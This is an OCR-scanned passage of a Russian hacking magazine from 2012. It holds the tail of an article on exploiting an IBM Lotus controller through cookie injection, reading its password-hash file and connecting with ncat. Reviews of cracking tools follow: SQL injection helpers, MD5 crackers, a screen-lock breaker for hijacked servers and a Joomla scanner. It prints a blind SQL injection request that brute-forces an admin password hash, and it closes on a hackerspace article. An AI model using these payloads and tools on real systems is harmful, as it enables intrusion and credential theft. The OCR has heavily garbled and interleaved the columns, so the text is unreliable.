Два запроса сделано Н Р случайно : парсер от IBM будет искать

Во-вторых, ни в коем случае не забывай пропатчии обновления.

строку <«user >>с про б елом в конце, а все пробелы в за про се коди­

В-третьих, по старайся не забыть про сервисный па роль, который уста­

руются как «%20>> [• , го нам не подходит!. Таким образом, мы делаем

навливается один-единственный раз через т у же самую консоль [даже

первый запрос так, чтобы пробел после <«use r >> поставил сам веб­

если сервер захватят, различные опасные команды вроде LOAD и TELL

сервер (м ежду запросом и результатом мы увидим 404 NotFouпdl .

будут защищены!. И последнее- время от времени проводи аудит

Во втором запросе дописываем все остальное.

3. Те перь, после получения валидногофайла кукипутем инжектирова­ ния влаги веб-сервера, эксплойтим все это дело:

файла admiпdata . xml. Здесь перечислены все польз ователи контрол­ лера с па ролями в

MD5. Кроме того, тут же прописаны их привилегии 4, 25 и 26 говорят о том, что

в виде десятичных значений. Значения

у этого пользователя есть привилегии на исполнение системных

ncat --ssl tagetlotus_host 2050

команд. Следи за тем, чтобы у незнакомых юзеров н е было лишних

#АР!

полномочий, и да пребудет с тобой Сила' I

ХАКЕР

01/156/2012

071


взлом

Mar licq 884888, http://snipper.rul

СОФТ ДЛЯ ВЗЛОМА И АНАЛИЗА БЕЗОПАСНОСТИ

Автор:

Автор :

scarletO

.... -· """"'

Автор :

bit .ly/t l56m2 Система:

URL:

Система :

Windows

3. 14.Ьy/r u/md5

Windows

URL:

......,... ,.,

. "'

Сваричевский Ми ха ил Александрович

Система :

Win dows

cel1697i845 URL:

bit.ly/v mJ2g8

.

-~ ~

,""

'

-

'

..

:. ~

'

. ..:;:; . . ~ ~·

'

MSSQ L lnjection Helper- это

одна из множества

утилит, nредназначенных для работы с

SQL-

Мечтал ли ты во время брута МD5-хешей о заоб­

Наверняка тебе часто п о п а д а ли сь хеш и,

лачной скорости вычислений и задействова нии

алгоритм генерации которых был неизвестен. В ероятно, в таких случаях ты пытал ся узнать

инъекциями. Однако основ ная ее особенность

абсол ютно всех ресурсов своего компьютера?

состои т в том , что она заточена исключительно

Тогда специально для тебя спешу представить

название движка , с которого был слит дамп

nод базы данных

замечательный инструмент для взлома хешей

базы данны х, а затем п отро шил его исходни-

MSSQL. Такие утилиты

не

слишком часто встречаются в на ш е время, когда

BarsWF- World Fastest MD5 cracker. Как ты

ки на пр е дмет этого самого алгоритма. Н о что

наиболее широкое расnространение nолучили

nонял из названия, ав тор позиционирует с вое

делать , если определить тип движка не удается,

nрограммы для раскрутки М уSQL-инъекций.

творение как самый быс трый МО5-крякер в

а расшифровать хеш хочется до безумия? Сnешу

мире. В чём заключается его уникальность?

тебя обрадовать! Замечательная программа

Давай обратимся к плюсам и минусам nporи :

«Brutus hashes. New generation>>

+

отличная поддержка многоядерных процес­

прекрасную возможность для автоматического

соров;

оп р еделения практически любого алгоритма

версии для раб оты на видео- и центральном

хе ширования' Авторизначально позициониро­

Возможности и особенности проги:

поддержка всех последних версий

Microsoft

SQL Server; о

дружественный и интуитивно понятный

GUI-

интерфейс; о

+

легкое переключение между русским и

английским языком;

о

+

о

вал с в ое творение как очередную nрограмму

работа в режим е командной строки;

для брутфорса, но в д ействи тельно сти, сам того

заточен исключительно под

извлечение имен баз, таблиц и столбцов;

не имеет визуального интерфейса;

извлечение имени nользователя и версии­

позволяет брутить не более о дного хеш а

MD5;

не подозревая, накадил со верш е нно др угую,

уникальную и крайне поле зную вещь.

базы данных;

о дн овременно.

хеш а:

А т е перь немногu фактов:

1. 2.

1.

Программа используетвсеядра ЦП на

пов в понятном виде ;

полную. Тесты nоказали, что на

удобная сортировка колонок.

Quad QX6700 [3,01 GHzl брутфорс выжимае т около 200 миллионов паралей в секунду nри

3.

использовании всех четырех ядер'

4.

о чень пр осто '

MSSQL lnj ection Helper

не тр е ­

бует установки, так что распаковывай архив в любое удобное для тебя место на диске, вбивай в соответствующее поле

URL уязвимо­ го с крипта [например, site .com/script.asp?id =11 и начинай работу.

2.

lntel Саге 2

Утилитазамечательноработаетсвидеокар­ тами

Radeon: одна из ее версий использует те хноло гию AMD BROOK, которая представ­ ляет собой аналог всем известной CUDA от NVidia.

:-1

А теперь сам алгоритм о пр еделения тиnа

дампингвсего и вся;

Начать работу с программой не просто, а

072

nроцессоре;

несколько методов перебора;

использованиетаблицдля сохранениядам ­

пр е до с т авляет

Регистрируемся н а взломанном ресурсе .

Ищем в дост у пном намдампе хе ш от известно­ го па рол я, введенноготобой nри регистрации. Вводим nолученн у ю информацию в соответ­ ствующие п о ля программы.

Жмем на восклицательный знак и ждем, когда опре д елится тип хеш а.

Кстати, ты можешь разработать собствен­ ный ал го с помощью встроенного конструкто ­

ра. В сего дост упе н

6 131 066 257 801

вариант.

ХАКЕР

01/156/2012


X-Tools

PANBu steг - это консольная утилита , пр е д­

Masteгcaгd, Ameгican E xpгess,

карт, хранящихся в открытом виде в твоей lи

Автор : ХМСО Security

не только! системе. Программа може т б ыть

1000 BINI;

крайне полезна для проведения ауди та на

обна р ужение

соот в е т с тв ие требованиям стандарта

системах:

так как он строго- на стро го за пр е щает х р а нить

PAN в следующихБДи My5QL, M55QL lбэкап-файлыl, P ostgгe5 QL , Exce l, VMwaгe VM DK, Огасlе

PAN !ном ер! карты в откры т ом виде. Таким

!дампы);

PCI 055,

образом, PANBusteг будет н е л ишней для

парсингсжатых файлов пря мо в памят и I.ZIP,

всех

.GZ, .TGZI;

PCI Q5A,

системных администра т оров,

разработчиков, аудиторов и с п е циали стов по

Research Labs URL: www.xmco.fr/ panbuster.html

ни зкое количество ложны х срабатываний. Р абота ть с прогой д остато чн о пр осто: за -

расследованию инцидентов.

Особенности и функциональные возмож­ ности утилиты:

Система:

пол н ая п о дд е р жка

*nix/win/mac

JCB, D iscoveг,

Chiпa Unionl; идентификация эмисио нного банка !более

назначенная для поиска н омеров кредит ны х

Windows,

L i пu x, Мае

05 Х;

идентификация брен да карты IV15A,

Автор : ТIМНОК

пускаем ее из коман дн ой строки 1«./paпbusteг -1 ../»1 и получаем отчет о том, где и какие дан­ ные были на й д ены !карта платежной систем ы й такой-то в файле таком-то! .

Автор :

Автор:

YGN Ethical Hacker Group URL:

URL: bit.ly/vZbhcN Система:

Ьit.ly/vDpEtB

Windows

Система:

SuRGeoNix URL:

··~ ----..

Ьit.ly/IXxlkm

=-

Система :

Windows

*nix/win '~

WEBSURGERV, _ __ ИЛИ «ВСЕ ВКЛЮЧЕНО» Е сли ты хоть раз на хо дил на раздачах хороший

OWA5P Joomlal Vulneгability 5canneг- это

де дик , то вп о лне мог сто л к н утьс я с таким

из самых популярных и культовых ОWА5Р'овских

грамма для брутфорса дир ек т орий и файл ов,

явлением, как sсгееn- л ок. Пр ограммы, пр е д­

проектов . Как ясно иэ названия, этот перловый

фаззер для продвинутой эксплуатации из­

назначенные для э т ого, позволяют т ебе в идеть

скриптпредс тавляетсобойсканеруязвимостей

вестных и неизвестных уязвимастей типа

рабочий стол д е д и ка, но в то же время бло­

для известнейшей СМ5

инъекция, тестер Х55, программа для брутфорса

Joomlal

о дин

Его база данных

В состав Web5uгgeгy входят: веб-краулер, про­

5QL-

ки руют любы е действия, п ока ты не введешь

уже давн о испо ль зуется для вполне успе шн о-

форм логина, д етек тор

правильный па роль . Конечно, можно забить

го развития множества с т оро нни х онлайн- и

для

хватчик трафика , которым твой браузер обме­

Do5

WAF,

детектор уязвимых

мест в сис т еме и навороченный пере­

на приглянувшуюся тебе машинку, но есть и

офлайн-проектов . Однако мы не будем на ни х

д ругой выход . Итак, встречаем DDM gг - удо б­

останавливаться и рассмотрим основные воз­

нивается с веб-приложениями . Чтобы проиллю­

ный менеджер и пробиватель sсгееn-локов

можности и особе нно с ти самого сканера :

стрирова ть работ у с комnлексом, возьмем н ек ий

для дедиков. Особенности и функциональные

определение версии движка;

абстрактный РНР -скрипт

возможности программы:

определение наиболее популярных WAF для

слепой 5Q L-инъекции. Нам необходимо достать

vuln.php, уязвимый

для

уд обный интерфейс;

Джумлы;

из БД

пробивание боль шин ства скринлоков;

огромная встроенная база дан н ы х для поис­

зуемся вст р ое нным фаззеро м.

выбор автозагружаемой программы;

кауязвимас т ей Д жумлы и ее компонентов;

1. Генерируем nервый запрос llnitial Requestl:

возможность менять размеры окна;

создание отчетов в

МО5-хеш пользователя . Восполь­

HTML- и текстовом фор ­

функции изменения п орта, редиректа п ортов

мате;

и п о д ключе ния ди ско в ;

автообновлениесканерадопоследнейвер­

форсированиеподдержкибуфера обмена

сии;

!даже если он вы ключен, про га заставит его

быстрая работа за счет отсутствия фаззера и

работать);

наличия встроенной БД.

Благ одаря пе ре числе н ным функциям,

My5QL

GET /vu ln.php?id= HOST : 1.2.3.4 2.

НТТР/1.1

С помощью встроенноголист-генератора

IList Configuгationl создаем два списка : пер­ вый-с номерами от 1 до 32l п о дл ине MD5-

Сканер работает в интерактивном режиме

DDMgг может приг о дить ся не только обыч н ому

и имеет подробный хелп, гд е о пи са ны в се его

xe ш al, а второй-с валидными симво лами

пользователю, но и владельцу или продавцу

параметры. Пример запуска :

для б рута.

целогопарка дедиков. Самая главная особен­ ность программы заключается в том , что она

по з в о ля ет не т о лько про би в а ть скри нл оки,

3. joomscan.pl -u http: // joomla-site.com/ \ - х pro xy: port

но и снимать множество других ограничений,

мешающих твоей комфортной работе с удален­ ным компьютером.

ХАКЕР

01 / 156/2012

Е сть масса д ополнительных опций !

Создаем финальный запросдля брута :

GET /v uln.php?id=1+and+'${List_2}'= substring((select+password+from+admin+ limit+1),${List_1},1) НТТР / 1 . 1 HOST: 1.2.3.4

073


071,

ХАКЕР

01/156/2012


Хакерепейс-терри т ори я хакеро в

КАКСОБРАТЬ ХАКЕРОВ В ОДНОМ МЕСТЕ ЧТО ЖЕ ТАКОЕ ХАКСПЕЙС?

Итак, что же такое хакспейс? H ackeгspace

В двух словах довольнотрудно объяснить неис­

или hackspace- место, где собирают ся хакеры

кушенномучеловеку из России, что представ­

со схожими интересами, ча ще всего научными

ляет собой хакспейс и зачем он нужен. Не просто

и те хнологическими . Нужно отметить, что под

даже передать ту атмосферу, которая присуща

словом «хакеры>> здесь и далее подразумева­

такого род а местам. Поэтомупо звольдля начала

ются не только специа листы в облас ти IТ. Как

nровести небольшую параллель. Ты наверняка

правило, пришедшие в хакспейс люди интере­

знаком с т ермином «коворкинг»-так называет­

суются цифровым или электронным искусс тво м,

ся схема, ко гд а фрилансеры снимают для работы

хотятобщения и ищу т еди н омышле нни ков для

общее помещение, ос т аваясь пр и этом неза­

совместного творчества. Они встречаются, что­

висимыми и свободными, эдакий хитрый способ

бы получатьзнания и обмениваться ими, чтобы

выйти из социального вакуума, компенсировать

слушать или проводить nрезентации, лекции,

недостаток общения, поделиться идеями и, ко­

семинары итак далее. Многие ком п ании начина­

нечно, по возможности, помочьдруг другу. Также

ютсвоесуществованиекакчастьхакспейса .

ты наверняка помнишь о су ществ овании клубов